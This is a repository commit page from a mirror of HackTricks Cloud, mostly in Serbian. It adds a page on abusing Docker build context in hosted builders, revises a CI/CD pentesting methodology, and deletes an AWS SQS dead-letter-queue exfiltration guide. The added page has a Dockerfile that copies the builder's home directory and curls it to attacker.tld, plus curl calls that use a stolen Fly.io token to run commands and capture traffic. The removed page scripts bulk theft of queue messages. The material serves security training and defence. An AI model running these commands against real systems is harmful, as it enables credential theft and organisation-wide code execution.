gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-02-04 11:07:37 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p

Browse Source
This commit is contained in:
Translator
2025-10-25 16:10:06 +00:00
parent b346021139
commit e60037131d
3 changed files with 140 additions and 186 deletions
Download Patch File Download Diff File Expand all files Collapse all files

101
src/pentesting-ci-cd/docker-build-context-abuse.md Normal file
View File

@@ -0,0 +1,101 @@
# Zloupotreba Docker Build Context in Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
Ako CI/CD platforma ili hosted builder dozvoljava contributor-ima da specificiraju putanju Docker build context-a i putanju Dockerfile-a, često možete podesiti context na parent direktorijum (npr., "..") i učiniti fajlove hosta delom build context-a. Zatim, attacker-controlled Dockerfile može COPY i exfiltrate tajne pronađene u home direktorijumu build user-a (na primer, ~/.docker/config.json). Ukradeni registry tokeni mogu takođe raditi protiv provider-ovih control-plane API-ja, omogućavajući org-wide RCE.
## Attack surface
Mnoge hosted builder/registry services rade otprilike ovo kada grade user-submitted images:
- Read a repo-level config that includes:
- build context path (sent to the Docker daemon)
- Dockerfile path relative to that context
- Copy the indicated build context directory and the Dockerfile to the Docker daemon
- Build the image and run it as a hosted service
Ako platforma ne canonicalize-uje i ne ograniči build context, korisnik može podesiti context na lokaciju izvan repozitorijuma (path traversal), što uzrokuje da proizvoljni fajlovi hosta koje build user može čitati postanu deo build context-a i budu dostupni za COPY u Dockerfile-u.
Praktična ograničenja koja se često posmatraju:
- Dockerfile mora biti unutar izabranog context path-a i njegov put mora biti poznat unapred.
- Build user mora imati read pristup fajlovima uključenim u context; specijalni device fajlovi mogu pokvariti copy.
## PoC: Path traversal via Docker build context
Example malicious server config declaring a Dockerfile within the parent directory context:
```yaml
runtime: "container"
build:
dockerfile: "test/Dockerfile" # Must reside inside the final context
dockerBuildPath: ".." # Path traversal to builder user $HOME
startCommand:
type: "http"
configSchema:
type: "object"
properties:
apiKey:
type: "string"
required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
```
Napomene:
- Korišćenjem ".." često se pristupa home direktorijumu korisnika builder (npr. /home/builder), koji obično sadrži osetljive fajlove.
- Postavite svoj Dockerfile ispod imena direktorijuma repo-a (npr. repo "test" → test/Dockerfile) tako da ostane unutar proširenog roditeljskog konteksta.
## PoC: Dockerfile to ingest and exfiltrate the host context
```dockerfile
FROM alpine
RUN apk add --no-cache curl
RUN mkdir /data
COPY . /data # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
Ciljevi koji se često pronađu u $HOME:
- ~/.docker/config.json (registry auths/tokens)
- Ostali cloud/CLI keševi i konfiguracije (npr. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Savet: Čak i sa .dockerignore u repo, ranjivi izbor konteksta na strani platforme i dalje određuje šta se šalje daemon-u. Ako platforma kopira izabranu putanju na daemon pre nego što proceni vaš repo’s .dockerignore, host fajlovi i dalje mogu biti izloženi.
## Cloud pivot sa tokenima sa prekomernim privilegijama (primer: Fly.io Machines API)
Neke platforme izdaju jedan bearer token koji se može koristiti i za container registry i za control-plane API. Ako exfiltrate-ujete registry token, pokušajte ga iskoristiti protiv provider API-ja.
Primer API poziva prema Fly.io Machines API koristeći ukradeni token iz ~/.docker/config.json:
Enumerišite aplikacije u organizaciji:
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
```
Pokrenite komandu kao root unutar bilo koje mašine aplikacije:
```bash
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Ishod: remote code execution u celoj organizaciji na svim hosted aplikacijama gde token ima dovoljne privilegije.
## Krađa tajni sa kompromitovanih hosted servisa
Sa exec/RCE na hosted serverima možete prikupiti client-supplied secrets (API keys, tokens) ili izvesti prompt-injection attacks. Primer: instalirajte tcpdump i presretnite HTTP saobraćaj na portu 8080 kako biste izvukli inbound credentials.
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
# Capture traffic
curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Zabeleženi zahtevi često sadrže client credentials u header-ima, telima ili query parametrima.
## References
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
{{#include ../banners/hacktricks-training.md}}

71
src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
View File

@@ -1,4 +1,4 @@
# Pentesting CI/CD Metodologija
# Pentesting CI/CD Methodology
{{#include ../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
## VCS
VCS znači **Version Control System**, ovi sistemi dozvoljavaju developerima da **upravljaju svojim source code-om**. Najčešći je **git** i obično ćete kompanije naći koje ga koriste na jednoj od sledećih **platformi**:
VCS znači **Version Control System**, ovaj sistem omogućava developerima da **upravljaju svojim izvorim kodom**. Najčešći je **git** i obično ćete ga naći u kompanijama koje koriste jednu od sledećih **platformi**:
- Github
- Gitlab
@@ -18,37 +18,44 @@ VCS znači **Version Control System**, ovi sistemi dozvoljavaju developerima da
## CI/CD Pipelines
CI/CD pipelines omogućavaju developerima da **automatizuju izvršavanje koda** za razne svrhe, uključujući build, testiranje i deploy aplikacija. Ovi automatizovani workflow-i su **okidači određenim akcijama**, kao što su code pushes, pull requests ili zakazani zadaci. Korisni su za pojednostavljenje procesa od development-a do produkcije.
CI/CD pipelines omogućavaju developerima da **automatizuju izvršavanje koda** za različite svrhe, uključujući build, testiranje i deploy aplikacija. Ovi automatizovani workflow-ovi se **okidaju određenim akcijama**, kao što su push-ovi koda, pull request-ovi ili zakazani zadaci. Korisni su za ubrzavanje puta od developmenta do productiona.
Međutim, ovi sistemi moraju da se **izvršavaju negde** i obično sa **privileged credentials da bi deploy-ovali kod ili pristupili osetljivim informacijama**.
Međutim, ovi sistemi moraju biti **pokrenuti negde** i obično sa **privilegiranim akreditivima za deploy koda ili pristup osetljivim informacijama**.
## VCS Pentesting Methodology
> [!NOTE]
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
> Čak i ako neke VCS platforme dozvoljavaju kreiranje pipelines, za ovaj odeljak ćemo analizirati samo potencijalne napade na kontrolu izvornog koda.
Platforme koje sadrže source code vašeg projekta sadrže osetljive informacije i ljudi moraju biti veoma pažljivi sa permissions koje se dodeljuju unutar te platforme. Ovo su neki uobičajeni problemi preko VCS platformi koje napadač može zloupotrebiti:
Platforme koje sadrže izvorni kod vašeg projekta čuvaju osetljive informacije i ljudi moraju biti veoma oprezni sa dozvolama koje se dodeljuju unutar te platforme. Ovo su neki česti problemi na VCS platformama koje napadač može iskoristiti:
- **Leaks**: Ako vaš kod sadrži leaks u commit-ovima i napadač može da pristupi repo-u (jer je public ili zato što ima pristup), mogao bi otkriti te leaks.
- **Access**: Ako napadač može da **pristupi nalogu unutar VCS platforme** mogao bi steći **veću vidljivost i permissions**.
- **Register**: Neke platforme će samo dozvoliti eksternim korisnicima da kreiraju nalog.
- **SSO**: Neke platforme neće dozvoliti registraciju, ali će dozvoliti bilo kome da se prijavi sa validnim SSO (tako da napadač može koristiti svoj github nalog da uđe, na primer).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... postoji više vrsta tokena koje korisnik može ukrasti da bi na neki način pristupio repo-u.
- **Webhooks**: VCS platforme dozvoljavaju generisanje webhooks. Ako nisu **zaštićeni** sa nevidljivim secret-ima, **napadač ih može zloupotrebiti**.
- Ako nema secret-a na mestu, napadač može zloupotrebiti webhook treće strane
- Ako je secret u URL-u, isto se dešava i napadač tada takođe ima secret
- **Code compromise:** Ako zlonamerni akter ima neku vrstu **write** pristupa nad repos-ima, može pokušati da **inject-uje malicious code**. Da bi bio uspešan, možda će morati da **zaobiđe branch protections**. Ove akcije se mogu izvesti sa različitim ciljevima:
- **Leaks**: Ako vaš kod sadrži leaks u commit-ovima i napadač može pristupiti repo-u (jer je javni ili zato što ima pristup), mogao bi otkriti te leaks.
- **Access**: Ako napadač može **pristupiti nalogu unutar VCS platforme** mogao bi dobiti **veću vidljivost i dozvole**.
- **Register**: Neke platforme će jednostavno dozvoliti spoljnim korisnicima da kreiraju nalog.
- **SSO**: Neke platforme neće dozvoliti registraciju, ali će omogućiti pristup svima sa validnim SSO (tako napadač može, na primer, ući koristeći svoj github nalog).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... postoji nekoliko vrsta tokena koje korisnik može ukrasti da nekako pristupi repo-u.
- **Webhooks**: VCS platforme omogućavaju generisanje webhooks. Ako nisu **zaštićeni** sa nevidljivim secrets, **napadač bi ih mogao iskoristiti**.
- Ako nema postavljenog secret-a, napadač bi mogao zloupotrebiti webhook treće strane
- Ako je secret u URL-u, isto važi i napadač tada ima i taj secret
- **Code compromise:** Ako maliciozni akter ima neku vrstu **write** pristupa nad repo-ima, mogao bi pokušati da **injektuje maliciozan kod**. Da bi bio uspešan možda će morati da **zaobiđe branch protections**. Ove akcije se mogu izvršiti sa različitim ciljevima:
- Kompromitovati main branch da bi **kompromitovao production**.
- Kompromitovati main (ili druge brancheve) da **kompromituje developer-ove mašine** (pošto oni obično izvršavaju testove, terraform ili druge stvari unutar repo-a na svojim mašinama).
- **Compromise the pipeline** (pogledati sledeći odeljak)
- Kompromitovati main (ili druge brancheve) da bi **kompromitovao developereve mašine** (jer oni obično izvršavaju testove, terraform ili druge stvari iz repo-a na svojim mašinama).
- **Komprotmisati pipeline** (pogledati sledeći odeljak)
## Pipelines Pentesting Methodology
Najčešći način definisanja pipeline-a je korišćenjem **CI configuration file** hostovanog u repository-ju koji pipeline build-uje. Ovaj fajl opisuje redosled izvršenih job-ova, uslove koji utiču na tok, i podešavanja build okruženja.\
Ovi fajlovi obično imaju konzistentno ime i format, na primer — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), i GitHub Actions YAML fajlovi locirani pod .github/workflows. Kada se okine, pipeline job **pull-uje kod** sa izabranog source-a (npr. commit / branch), i **izvršava komande navedene u CI configuration file-u** nad tim kodom.
Najčešći način definisanja pipeline-a je korišćenjem **CI configuration file hostovanog u repository-ju** koji pipeline build-uje. Ovaj fajl opisuje redosled izvršenih job-ova, uslove koji utiču na tok i podešavanja build okruženja.\
Ovi fajlovi obično imaju konzistentno ime i format, na primer — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), i GitHub Actions YAML fajlovi koji se nalaze pod .github/workflows. Kada se okine, pipeline job **povlači kod** iz izabranog izvora (npr. commit / branch) i **izvršava komande navedene u CI configuration file-u** nad tim kodom.
Dakle, krajnji cilj napadača je na neki način **kompromitovati te configuration fajlove** ili **komande koje oni izvršavaju**.
> [!TIP]
> Neki hosted builders dozvoljavaju contributor-ima da izaberu Docker build context i Dockerfile path. Ako je context pod kontrolom napadača, može ga postaviti izvan repo-a (npr., "..") da bi ingestovao fajlove hosta tokom build-a i eksfiltrirao secrets. Pogledajte:
>
>{{#ref}}
>docker-build-context-abuse.md
>{{#endref}}
### PPE - Poisoned Pipeline Execution
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
@@ -69,35 +76,35 @@ There are 3 PPE flavours:
### Exploitation Benefits
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
Znanje o 3 flavour-a za poison-ovanje pipeline-a nam pokazuje šta napadač može dobiti nakon uspešne eksploatacije:
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and these privileges are usually **granted in secrets**. These secrets are obično dostupni preko **env variables ili fajlova unutar sistema**. Zbog toga će napadač uvek pokušati da eksfiltruje što više secrets-a.
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
- **Computation**: Kod se izvršava negde; u zavisnosti od mesta izvođenja, napadač može imati mogućnost daljeg pivot-a.
- **On-Premises**: Ako se pipelines izvršavaju on premises, napadač može završiti u **internoj mreži sa pristupom većim resursima**.
- **Cloud**: Napadač može pristupiti **drugim mašinama u cloudu** ali takođe može **eksfiltrirati** IAM roles/service accounts **tokens** iz njega da bi dobio **dalji pristup unutar clouda**.
- **Platforms machine**: Ponekad se job-ovi izvršavaju unutar **pipelines platform mašina**, koje obično postoje unutar clouda bez dodatnog pristupa.
- **Select it:** Ponekad će **pipelines platform biti konfigurisala više mašina** i ako možete **modifikovati CI configuration file** možete **naznačiti gde želite da pokrenete malicious code**. U tom slučaju, napadač će verovatno pokrenuti reverse shell na svakoj mogućoj mašini da pokuša dalje eksploatisati.
- **Compromise production**: Ako ste unutar pipeline-a i finalna verzija se build-uje i deploy-uje iz njega, možete **kompromitovati kod koji će se izvršavati u produkciji**.
- **Secrets**: Kao što je prethodno pomenuto, pipeline-ovi zahtevaju **privilegije** za svoje job-ove (preuzimanje koda, build, deploy...) i te privilegije se obično čuvaju kao **secrets**. Ovi secrets su obično dostupni putem **env variables ili fajlova unutar sistema**. Dakle, napadač će uvek pokušati da eksfiltruje što više secrets-a.
- U zavisnosti od pipeline platforme napadač **možda mora da navede secrets u config-u**. To znači da ako napadač ne može da modifikuje CI configuration pipeline-a (**I-PPE**, na primer), mogao bi **samo eksfiltrirati secrets koje taj pipeline ima**.
- **Computation**: Kod se izvršava negde; u zavisnosti gde se izvršava, napadač može pivotirati dalje.
- **On-Premises**: Ako se pipeline izvršavaju on-premises, napadač može završiti u **internoj mreži sa pristupom dodatnim resursima**.
- **Cloud**: Napadač bi mogao pristupiti **drugim mašinama u cloud-u** ali takođe bi mogao **eksfiltrirati** IAM roles/service accounts **tokene** iz cloud-a da dobije **dalji pristup unutar clouda**.
- **Platforms machine**: Ponekad će job-ovi biti izvršeni unutar **mašina pipelines platforme**, koje obično nemaju dodatne privilegije.
- **Select it:** Ponekad **pipelines platforma ima konfigurisanih više mašina** i ako možete **modifikovati CI configuration file** možete **naznačiti gde želite da se izvrši maliciozni kod**. U toj situaciji, napadač će verovatno pokrenuti reverse shell na svakoj raspoloživoj mašini da pokuša dalju eksploataciju.
- **Compromise production**: Ako ste unutar pipeline-a i finalna verzija se odatle build-uje i deploy-uje, možete **kompromitovati kod koji će se izvršavati u production-u**.
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) je open-source alat za auditanje vašeg software supply chain stack-a u pogledu sigurnosne usklađenosti zasnovane na novom [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Auditing pokriva ceo SDLC proces, gde može otkriti rizike od vremena kodiranja do vremena deploy-a.
### Top 10 CI/CD Security Risk
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Pogledajte ovaj interesantan članak o top 10 CI/CD rizika prema Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
- Na svakoj platformi koju možete pokrenuti lokalno naći ćete uputstvo kako je lansirati lokalno tako da je možete konfigurisati po želji za testiranje
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** je static code analysis alat za infrastructure-as-code.
## References

154
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
View File

@@ -1,154 +0,0 @@
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
{{#include ../../../banners/hacktricks-training.md}}
## Opis
Iskoristite SQS message move tasks da ukradete sve akumulirane poruke iz žrtvinog Dead-Letter Queue (DLQ) preusmeravanjem u attacker-controlled queue koristeći `sqs:StartMessageMoveTask`. Ova tehnika zloupotrebljava legitimnu AWS funkciju za oporavak poruka kako bi eksfiltrirala osetljive podatke koji su se tokom vremena nakupili u DLQ-ovima.
## Šta je Dead-Letter Queue (DLQ)?
Dead-Letter Queue je posebna SQS queue u koju se poruke automatski šalju kada glavna aplikacija ne uspe da ih obradi. Te neuspešne poruke često sadrže:
- Osetljive podatke aplikacije koje nije bilo moguće obraditi
- Detalje o greškama i informacije za debug
- Personal Identifiable Information (PII)
- API tokene, kredencijale ili druge tajne
- Poslovno-kritične podatke o transakcijama
DLQ-ovi služe kao "groblje" za neuspele poruke, što ih čini vrednim ciljevima jer se u njima tokom vremena nagomilavaju osetljivi podaci koje aplikacije nisu mogle pravilno da obrade.
## Scenario napada
**Primer iz stvarnog sveta:**
1. **E-commerce aplikacija** obrađuje narudžbine kupaca putem SQS-a
2. **Neke narudžbine ne uspevaju** (problemi sa naplatom, zalihe, itd.) i premeštaju se u DLQ
3. **DLQ se nagomilava** nedeljama/mesecima sa neuspelim narudžbinama koje sadrže podatke o kupcima: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Napadač dobija pristup** AWS kredencijalima sa SQS dozvolama
5. **Napadač otkriva** da DLQ sadrži hiljade neuspelih narudžbina sa osetljivim podacima
6. **Umesto pokušaja pristupa pojedinačnim porukama** (spor i očigledan), napadač koristi `StartMessageMoveTask` da u bulk-u prebaci SVE poruke u svoj queue
7. **Napadač izvlači** sve istorijske osetljive podatke u jednoj operaciji
## Zahtevi
- Izvorna queue mora biti konfigurisana kao DLQ (referencirana bar od strane jedne queue kroz RedrivePolicy).
- IAM dozvole (izvršava se kao kompromitovani victim principal):
- Na DLQ-u (izvor): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Na destination queue: dozvola za isporuku poruka (npr. queue policy koja dozvoljava `sqs:SendMessage` od kompromitovanog principala). Za destinacije unutar istog account-a ovo je obično dozvoljeno podrazumevano.
- Ako je SSE-KMS omogućen: na source CMK `kms:Decrypt`, i na destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
## Uticaj
Eksfiltracija osetljivih payload-ova nagomilanih u DLQ-ovima (neuspešni eventi, PII, tokeni, payloadi aplikacija) velikom brzinom koristeći native SQS API-je. Radi cross-account ako destination queue policy dozvoljava `SendMessage` od victim principala.
## Kako zloupotrebiti
- Identifikujte ARN žrtvinog DLQ-a i osigurajte da je zaista referenciran kao DLQ od strane neke queue (bilo koja queue je dovoljno).
- Napravite ili izaberite attacker-controlled destination queue i dobijte njen ARN.
- Pokrenite message move task sa žrtvinog DLQ-a na vašu destination queue.
- Pratite progres ili otkažite po potrebi.
### CLI primer: Eksfiltracija podataka kupaca iz E-commerce DLQ
**Scenario**: Napadač je kompromitovao AWS kredencijale i otkrio da e-commerce aplikacija koristi SQS sa DLQ-om koji sadrži neuspele pokušaje obrade narudžbina kupaca.
1) **Pronađite i ispitajte žrtvin DLQ**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
# Check how many messages are in the DLQ (potential treasure trove!)
aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Kreirajte attacker-controlled destination queue**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **Izvrši bulk message theft**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
TASK_RESPONSE=$(aws sqs start-message-move-task \
--source-arn "$SRC_ARN" \
--destination-arn "$ATTACKER_Q_ARN" \
--max-number-of-messages-per-second 100)
echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Prikupi ukradene osetljive podatke**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--attribute-names All --message-attribute-names All \
--max-number-of-messages 10 --wait-time-seconds 5
# Example of what an attacker might see:
# {
# "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
# "MessageId": "12345-abcd-6789-efgh"
# }
# Continue receiving all messages in batches
while true; do
MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
--max-number-of-messages 10 --wait-time-seconds 2 --output json)
if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
echo "No more messages - exfiltration complete!"
break
fi
echo "Received batch of stolen data..."
# Process/save the stolen customer data
echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Napomene za pristup između naloga
- Odredišna queue mora imati resource policy koja omogućava žrtvinom principal-u `sqs:SendMessage` (i, ako se koristi, KMS grants/permissions).
## Zašto je ovaj napad efikasan
1. **Legitimna AWS funkcionalnost**: Koristi ugrađenu AWS funkcionalnost, što otežava otkrivanje kao zlonamerno
2. **Masovna operacija**: Prenosi hiljade poruka brzo umesto sporog pojedinačnog pristupa
3. **Istorijski podaci**: DLQs akumuliraju osetljive podatke tokom nedelja/meseci
4. **Ispod radara**: Mnoge organizacije ne prate pristup DLQ-ovima pažljivo
5. **Mogućnost cross-account**: Može exfiltrirati u napadačev AWS nalog ako dozvole to omogućavaju
## Otkrivanje i prevencija
### Otkrivanje
Pratite CloudTrail za sumnjive API pozive `StartMessageMoveTask`:
```json
{
"eventName": "StartMessageMoveTask",
"sourceIPAddress": "suspicious-ip",
"userIdentity": {
"type": "IAMUser",
"userName": "compromised-user"
},
"requestParameters": {
"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
}
}
```
### Prevention
1. **Least Privilege**: Ograničite dozvole `sqs:StartMessageMoveTask` samo na neophodne uloge
2. **Monitor DLQs**: Podesite CloudWatch alarme za neuobičajenu aktivnost DLQ-a
3. **Cross-Account Policies**: Pažljivo pregledajte SQS queue policies koje omogućavaju pristup između naloga
4. **Encrypt DLQs**: Koristite SSE-KMS sa ograničenim politikama ključeva
5. **Regular Cleanup**: Ne dozvolite da se osetljivi podaci neograničeno nakupljaju u DLQ-ima
{{#include ../../../banners/hacktricks-training.md}}